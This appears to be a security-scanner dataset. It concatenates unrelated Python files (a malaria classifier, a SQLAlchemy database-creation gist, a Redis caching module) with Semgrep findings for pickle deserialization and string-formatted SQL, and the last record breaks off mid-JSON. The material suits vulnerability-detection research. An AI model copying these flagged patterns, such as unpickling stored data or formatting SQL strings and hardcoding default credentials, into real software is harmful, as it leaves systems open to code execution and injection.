# -*- coding: utf-8 -*- """ Created on Thu Mar 23 17:15:21 2020 @author: Arnob """ # In[] import pandas as pd from sklearn.model_selection import train_test_split from sklearn.ensemble import RandomForestClassifier, AdaBoostClassifier from sklearn.tree import DecisionTreeClassifier from sklearn import metrics import joblib import pickle import numpy as np # In[] dataframe = pd.read_csv("csv\dataset_processed.csv") print(dataframe.head()) #Splitting dataset into Training set and Test set x = dataframe.drop(["Label"],axis=1) y = dataframe["Label"] x_train, x_test, y_train, y_test = train_test_split(x,y,test_size = 0.20, random_state = 4) # Build a Model model = RandomForestClassifier(n_estimators = 100, max_depth = 6,criterion="entropy") #model = DecisionTreeClassifier() model.fit(x_train,y_train) # Make Predictions # In[] area = [0,0,135.5,0,0] area = np.array(area) area = np.reshape(area,(-1,5)) prede = model.predict(area) #print(prede, y_test) # In[] #print(metrics.classification_report(prede,y_test)) #from sklearn.metrics import confusion_matrix #cm = confusion_matrix(y_test, prediction) #print(cm)### # In[] with open('rf_ensemblev3.sav','wb') as file: pickle.dump(model, file)
48
24.21
91
9
328
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_20aaa2469bf15307_260aa6bc", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 48, "line_end": 48, "column_start": 5, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/20aaa2469bf15307.py", "start": {"line": 48, "col": 5, "offset": 1185}, "end": {"line": 48, "col": 29, "offset": 1209}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 48 ]
[ 48 ]
[ 5 ]
[ 29 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
Malaria_detection.py
/app/malariaDetection/Malaria_detection.py
arc-arnob/mlModelFlask
MIT
2024-11-18T20:23:26.826633+00:00
1,599,053,689,000
c9b5c965da4c96441eea3d32b72732590a790d41
3
{ "blob_id": "c9b5c965da4c96441eea3d32b72732590a790d41", "branch_name": "refs/heads/master", "committer_date": 1599053689000, "content_id": "375614d1d11fa8b877f9dc0eae815e1d0f47e814", "detected_licenses": [ "Apache-2.0" ], "directory_id": "5fe72bb13baf3649058ebe11aa86ad4fc56c69ed", "extension": "py", "filename": "snippet.py", "fork_events_count": 20, "gha_created_at": 1534108864000, "gha_event_created_at": 1669034069000, "gha_language": "Python", "gha_license_id": "Apache-2.0", "github_id": 144501661, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1800, "license": "Apache-2.0", "license_type": "permissive", "path": "/hard-gists/5846464/snippet.py", "provenance": "stack-edu-0054.json.gz:587745", "repo_name": "dockerizeme/dockerizeme", "revision_date": 1599053689000, "revision_id": "408f3fa3d36542d8fc1236ba1cac804de6f14b0c", "snapshot_id": "8825fed45ff0ce8fb1dbe34959237e8048900a29", "src_encoding": "UTF-8", "star_events_count": 24, "url": "https://raw.githubusercontent.com/dockerizeme/dockerizeme/408f3fa3d36542d8fc1236ba1cac804de6f14b0c/hard-gists/5846464/snippet.py", "visit_date": "2022-12-10T09:30:51.029846" }
2.828125
stackv2
""" A demo of creating a new database via SQL Alchemy. Under MIT License from sprin (https://gist.github.com/sprin/5846464/) This module takes the form of a nosetest with three steps: - Set up the new database. - Create a table in the new database. - Teardown the new database. """ from sqlalchemy import ( create_engine, MetaData, Table, Column, Integer, ) from sqlalchemy.pool import NullPool # XXX: It is advised to use another user that can connect to a default database, # and has CREATE DATABASE permissions, rather than use a superuser. DB_CONFIG_DICT = { 'user': 'postgres', 'password': 'postgres', 'host': 'localhost', 'port': 5432, } DB_CONN_FORMAT = "postgresql://{user}:{password}@{host}:{port}/{database}" DB_CONN_URI_DEFAULT = (DB_CONN_FORMAT.format( database='postgres', **DB_CONFIG_DICT)) engine_default = create_engine(DB_CONN_URI_DEFAULT) NEW_DB_NAME = 'test' DB_CONN_URI_NEW = (DB_CONN_FORMAT.format( database=NEW_DB_NAME, **DB_CONFIG_DICT)) metadata = MetaData() proj = Table('test', metadata, Column('id', Integer)) def setup_module(): conn = engine_default.connect() conn.execute("COMMIT") # Do not substitute user-supplied database names here. conn.execute("CREATE DATABASE %s" % NEW_DB_NAME) conn.close() def test_create_table(): # Get a new engine for the just-created database and create a table. engine_new = create_engine(DB_CONN_URI_NEW, poolclass=NullPool) conn = engine_new.connect() metadata.create_all(conn) conn.close() def teardown_module(): conn = engine_default.connect() conn.execute("COMMIT") # Do not substitute user-supplied database names here. conn.execute("DROP DATABASE %s" % NEW_DB_NAME) conn.close()
66
26.27
80
9
427
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_5eae91cce8b1a080_a37841d3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. Use parameterized queries instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 51, "line_end": 51, "column_start": 5, "column_end": 53, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/775296/mysql-parameterized-queries", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.formatted-sql-query", "path": "/tmp/tmp10dxl77l/5eae91cce8b1a080.py", "start": {"line": 51, "col": 5, "offset": 1274}, "end": {"line": 51, "col": 53, "offset": 1322}, "extra": {"message": "Detected possible formatted SQL query. Use parameterized queries instead.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "references": ["https://stackoverflow.com/questions/775296/mysql-parameterized-queries"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_5eae91cce8b1a080_f6683fa0", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 51, "line_end": 51, "column_start": 5, "column_end": 53, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmp10dxl77l/5eae91cce8b1a080.py", "start": {"line": 51, "col": 5, "offset": 1274}, "end": {"line": 51, "col": 53, "offset": 1322}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_5eae91cce8b1a080_3aa3bdee", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. Use parameterized queries instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 65, "line_end": 65, "column_start": 5, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/775296/mysql-parameterized-queries", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.formatted-sql-query", "path": "/tmp/tmp10dxl77l/5eae91cce8b1a080.py", "start": {"line": 65, "col": 5, "offset": 1736}, "end": {"line": 65, "col": 51, "offset": 1782}, "extra": {"message": "Detected possible formatted SQL query. Use parameterized queries instead.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "references": ["https://stackoverflow.com/questions/775296/mysql-parameterized-queries"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_5eae91cce8b1a080_09ffc2c2", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 65, "line_end": 65, "column_start": 5, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmp10dxl77l/5eae91cce8b1a080.py", "start": {"line": 65, "col": 5, "offset": 1736}, "end": {"line": 65, "col": 51, "offset": 1782}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-89", "CWE-89", "CWE-89", "CWE-89" ]
[ "rules.python.lang.security.audit.formatted-sql-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "rules.python.lang.security.audit.formatted-sql-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query" ]
[ "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "HIGH", "MEDIUM", "HIGH" ]
[ 51, 51, 65, 65 ]
[ 51, 51, 65, 65 ]
[ 5, 5, 5, 5 ]
[ 53, 53, 51, 51 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected possible formatted SQL query. Use parameterized queries instead.", "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepa...
[ 5, 7.5, 5, 7.5 ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH", "HIGH" ]
snippet.py
/hard-gists/5846464/snippet.py
dockerizeme/dockerizeme
Apache-2.0
2024-11-18T20:23:27.502753+00:00
1,429,560,365,000
18639006f889d24fc7900b712fb14b155298c703
3
{ "blob_id": "18639006f889d24fc7900b712fb14b155298c703", "branch_name": "refs/heads/master", "committer_date": 1429560365000, "content_id": "ba6509a81df4d07cd16e420d50c5a3a66cc89bb0", "detected_licenses": [ "MIT" ], "directory_id": "7904cb0d06af84b75f88fc918ebe3298eea05700", "extension": "py", "filename": "cache.py", "fork_events_count": 1, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 6394255, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16166, "license": "MIT", "license_type": "permissive", "path": "/retools/cache.py", "provenance": "stack-edu-0054.json.gz:587755", "repo_name": "znanja/retools", "revision_date": 1429560365000, "revision_id": "d60db82d27abb79f1c40ebd645e17f5fc69cebda", "snapshot_id": "2fabf6b93ae6a9e48f1ab22226eb0c6c5389f49a", "src_encoding": "UTF-8", "star_events_count": 2, "url": "https://raw.githubusercontent.com/znanja/retools/d60db82d27abb79f1c40ebd645e17f5fc69cebda/retools/cache.py", "visit_date": "2021-01-18T09:57:50.856246" }
2.953125
stackv2
"""Caching Cache regions are used to simplify common expirations and group function caches. To indicate functions should use cache regions, apply the decorator:: from retools.cache import cache_region @cache_region('short_term') def myfunction(arg1): return arg1 To configure the cache regions, setup the :class:`~retools.cache.CacheRegion` object:: from retools.cache import CacheRegion CacheRegion.add_region("short_term", expires=60) """ import pickle import time from datetime import date from retools import global_connection from retools.exc import CacheConfigurationError from retools.lock import Lock from retools.lock import LockTimeout from retools.util import func_namespace from retools.util import has_self_arg from functools import wraps class _NoneMarker(object): pass NoneMarker = _NoneMarker() class CacheKey(object): """Cache Key object Generator of cache keys for a variety of purposes once provided with a region, namespace, and key (args). """ def __init__(self, region, namespace, key, today=None): """Setup a CacheKey object The CacheKey object creates the key-names used to store and retrieve values from Redis. :param region: Name of the region :type region: string :param namespace: Namespace to use :type namespace: string :param key: Key of the cached data, to differentiate various arguments to the same callable """ if not today: today = str(date.today()) self.lock_key = 'retools:lock:%s:%s:%s' % (region, namespace, key) self.redis_key = 'retools:%s:%s:%s' % (region, namespace, key) self.redis_hit_key = 'retools:hits:%s:%s:%s:%s' % ( today, region, namespace, key) self.redis_miss_key = 'retools:misses:%s:%s:%s:%s' % ( today, region, namespace, key) self.redis_keyset = 'retools:%s:%s:keys' % (region, namespace) class CacheRegion(object): """CacheRegion manager and configuration object For organization sake, the CacheRegion object is used to configure the available cache regions, query regions for currently cached keys, and set batches of keys by region for immediate expiration. Caching can be turned off globally by setting enabled to False:: CacheRegion.enabled = False Statistics should also be turned on or off globally:: CacheRegion.statistics = False However, if only some namespaces should have statistics recorded, then this should be used directly. """ regions = {} enabled = True statistics = True @classmethod def add_region(cls, name, expires, redis_expiration=60 * 60 * 24 * 7): """Add a cache region to the current configuration :param name: The name of the cache region :type name: string :param expires: The expiration in seconds. :type expires: integer :param redis_expiration: How long the Redis key expiration is set for. Defaults to 1 week. :type redis_expiration: integer """ cls.regions[name] = dict(expires=expires, redis_expiration=redis_expiration) @classmethod def _add_tracking(cls, pipeline, region, namespace, key): """Add's basic set members for tracking This is added to a Redis pipeline for a single round-trip to Redis. """ pipeline.sadd('retools:regions', region) pipeline.sadd('retools:%s:namespaces' % region, namespace) pipeline.sadd('retools:%s:%s:keys' % (region, namespace), key) @classmethod def invalidate(cls, region): """Invalidate an entire region .. note:: This does not actually *clear* the region of data, but just sets the value to expire on next access. :param region: Region name :type region: string """ redis = global_connection.redis namespaces = {ns.decode('utf8') for ns in redis.smembers('retools:%s:namespaces' % region)} if not namespaces: return None # Locate the longest expiration of a region, so we can set # the created value far enough back to force a refresh try: longest_expire = max( [x['expires'] for x in list(CacheRegion.regions.values())]) new_created = time.time() - longest_expire - 3600 except TypeError: new_created = False for ns in namespaces: cache_keyset_key = 'retools:%s:%s:keys' % (region, ns) keys = {''} | {_k.decode('utf8') for _k in redis.smembers(cache_keyset_key)} for key in keys: cache_key = 'retools:%s:%s:%s' % (region, ns, key) if not redis.exists(cache_key): redis.srem(cache_keyset_key, key) else: if new_created is not False: redis.hset(cache_key, 'created', new_created) else: redis.delete(cache_key) @classmethod def load(cls, region, namespace, key, regenerate=True, callable=None, statistics=None): """Load a value from Redis, and possibly recreate it This method is used to load a value from Redis, and usually regenerates the value using the callable when provided. If ``regenerate`` is ``False`` and a ``callable`` is not passed in, then :obj:`~retools.cache.NoneMarker` will be returned. :param region: Region name :type region: string :param namespace: Namespace for the value :type namespace: string :param key: Key for this value under the namespace :type key: string :param regenerate: If False, then existing keys will always be returned regardless of cache expiration. In the event that there is no existing key and no callable was provided, then a NoneMarker will be returned. :type regenerate: bool :param callable: A callable to use when the cached value needs to be created :param statistics: Whether or not hit/miss statistics should be updated :type statistics: bool """ if statistics is None: statistics = cls.statistics redis = global_connection.redis now = time.time() region_settings = cls.regions[region] expires = region_settings['expires'] redis_expiration = region_settings['redis_expiration'] keys = CacheKey(region=region, namespace=namespace, key=key) # Create a transaction to update our hit counter for today and # retrieve the current value. if statistics: p = redis.pipeline(transaction=True) p.hgetall(keys.redis_key) p.get(keys.redis_hit_key) p.incr(keys.redis_hit_key) results = p.execute() result, existing_hits = results[0], results[1] if existing_hits is None: existing_hits = 0 else: existing_hits = int(existing_hits) else: result = redis.hgetall(keys.redis_key) expired = True if expires is None or (result and now - float(result[b'created']) < expires): expired = False if (result and not regenerate) or not expired: # We have a result and were told not to regenerate so # we always return it immediately regardless of expiration, # or its not expired try: result = pickle.loads(result[b'value']) except KeyError: pass else: return result if not result and not regenerate: # No existing value, but we were told not to regenerate it and # there's no callable, so we return a NoneMarker return NoneMarker # Don't wait for the lock if we have an old value if result and 'value' in result: timeout = 0 else: timeout = 60 * 60 try: with Lock(keys.lock_key, expires=expires, timeout=timeout): # Did someone else already create it? result = redis.hgetall(keys.redis_key) now = time.time() if result and 'value' in result and \ now - float(result[b'created']) < expires: return pickle.loads(result[b'value']) value = callable() p = redis.pipeline(transaction=True) p.hmset(keys.redis_key, {'created': now, 'value': pickle.dumps(value)}) p.expire(keys.redis_key, redis_expiration) cls._add_tracking(p, region, namespace, key) if statistics: p.getset(keys.redis_hit_key, 0) new_hits = int(p.execute()[0]) else: p.execute() except LockTimeout: if result: return pickle.loads(result[b'value']) else: # log some sort of error? return NoneMarker # Nothing else to do if not recording stats if not statistics: return value misses = new_hits - existing_hits if misses: p = redis.pipeline(transaction=True) p.incr(keys.redis_hit_key, amount=existing_hits) p.incr(keys.redis_miss_key, amount=misses) p.execute() else: redis.incr(keys.redis_hit_key, amount=existing_hits) return value def invalidate_region(region): """Invalidate all the namespace's in a given region .. note:: This does not actually *clear* the region of data, but just sets the value to expire on next access. :param region: Region name :type region: string """ CacheRegion.invalidate(region) def invalidate_callable(callable, *args): """Invalidate the cache for a callable :param callable: The callable that was cached :type callable: callable object :param \*args: Arguments the function was called with that should be invalidated. If the args is just the differentiator for the function, or not present, then all values for the function will be invalidated. Example:: @cache_region('short_term', 'small_engine') def local_search(search_term): # do search and return it @cache_region('long_term') def lookup_folks(): # look them up and return them # To clear local_search for search_term = 'fred' invalidate_function(local_search, 'fred') # To clear all cached variations of the local_search function invalidate_function(local_search) # To clear out lookup_folks invalidate_function(lookup_folks) """ redis = global_connection.redis region = callable._region namespace = callable._namespace # Get the expiration for this region if CacheRegion.regions[region]['expires'] is None: new_created = False else: new_created = time.time() - CacheRegion.regions[region]['expires'] - 3600 if args: try: cache_key = " ".join(map(str, args)) except UnicodeEncodeError: cache_key = " ".join(map(str, args)) key = 'retools:%s:%s:%s' % (region, namespace, cache_key) if new_created is not False: redis.hset(key, 'created', new_created) else: redis.delete(key) else: cache_keyset_key = 'retools:%s:%s:keys' % (region, namespace) keys = {''} | redis.smembers(cache_keyset_key) p = redis.pipeline(transaction=True) for key in keys: __key = 'retools:%s:%s:%s' % (region, namespace, key) if new_created is not False: p.hset(__key, 'created', new_created) else: p.delete(__key) p.execute() return None invalidate_function = invalidate_callable def cache_region(region, *deco_args, **kwargs): """Decorate a function such that its return result is cached, using a "region" to indicate the cache arguments. :param region: Name of the region to cache to :type region: string :param \*deco_args: Optional ``str()``-compatible arguments which will uniquely identify the key used by this decorated function, in addition to the positional arguments passed to the function itself at call time. This is recommended as it is needed to distinguish between any two functions or methods that have the same name (regardless of parent class or not). :type deco_args: list .. note:: The function being decorated must only be called with positional arguments, and the arguments must support being stringified with ``str()``. The concatenation of the ``str()`` version of each argument, combined with that of the ``*args`` sent to the decorator, forms the unique cache key. Example:: from retools.cache import cache_region @cache_region('short_term', 'load_things') def load(search_term, limit, offset): '''Load from a database given a search term, limit, offset.''' return database.query(search_term)[offset:offset + limit] The decorator can also be used with object methods. The ``self`` argument is not part of the cache key. This is based on the actual string name ``self`` being in the first argument position:: class MyThing(object): @cache_region('short_term', 'load_things') def load(self, search_term, limit, offset): '''Load from a database given a search term, limit, offset.''' return database.query(search_term)[offset:offset + limit] Classmethods work as well - use ``cls`` as the name of the class argument, and place the decorator around the function underneath ``@classmethod``:: class MyThing(object): @classmethod @cache_region('short_term', 'load_things') def load(cls, search_term, limit, offset): '''Load from a database given a search term, limit, offset.''' return database.query(search_term)[offset:offset + limit] .. note:: When a method on a class is decorated, the ``self`` or ``cls`` argument in the first position is not included in the "key" used for caching. """ def decorate(func): namespace = func_namespace(func, deco_args) skip_self = has_self_arg(func) regenerate = kwargs.get('regenerate', True) @wraps(func) def cached(*args): if region not in CacheRegion.regions: raise CacheConfigurationError( 'Cache region not configured: %s' % region) if not CacheRegion.enabled: return func(*args) if skip_self: try: cache_key = " ".join(map(str, args[1:])) except UnicodeEncodeError: cache_key = " ".join(map(str, args[1:])) else: try: cache_key = " ".join(map(str, args)) except UnicodeEncodeError: cache_key = " ".join(map(str, args)) def go(): return func(*args) return CacheRegion.load(region, namespace, cache_key, regenerate=regenerate, callable=go) cached._region = region cached._namespace = namespace return cached return decorate
463
33.92
99
22
3,414
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_c7973e2e0e264195_d05f1a18", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 229, "line_end": 229, "column_start": 26, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/c7973e2e0e264195.py", "start": {"line": 229, "col": 26, "offset": 7864}, "end": {"line": 229, "col": 56, "offset": 7894}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_c7973e2e0e264195_355d8251", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 253, "line_end": 253, "column_start": 28, "column_end": 58, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/c7973e2e0e264195.py", "start": {"line": 253, "col": 28, "offset": 8742}, "end": {"line": 253, "col": 58, "offset": 8772}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_c7973e2e0e264195_edb33f89", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", 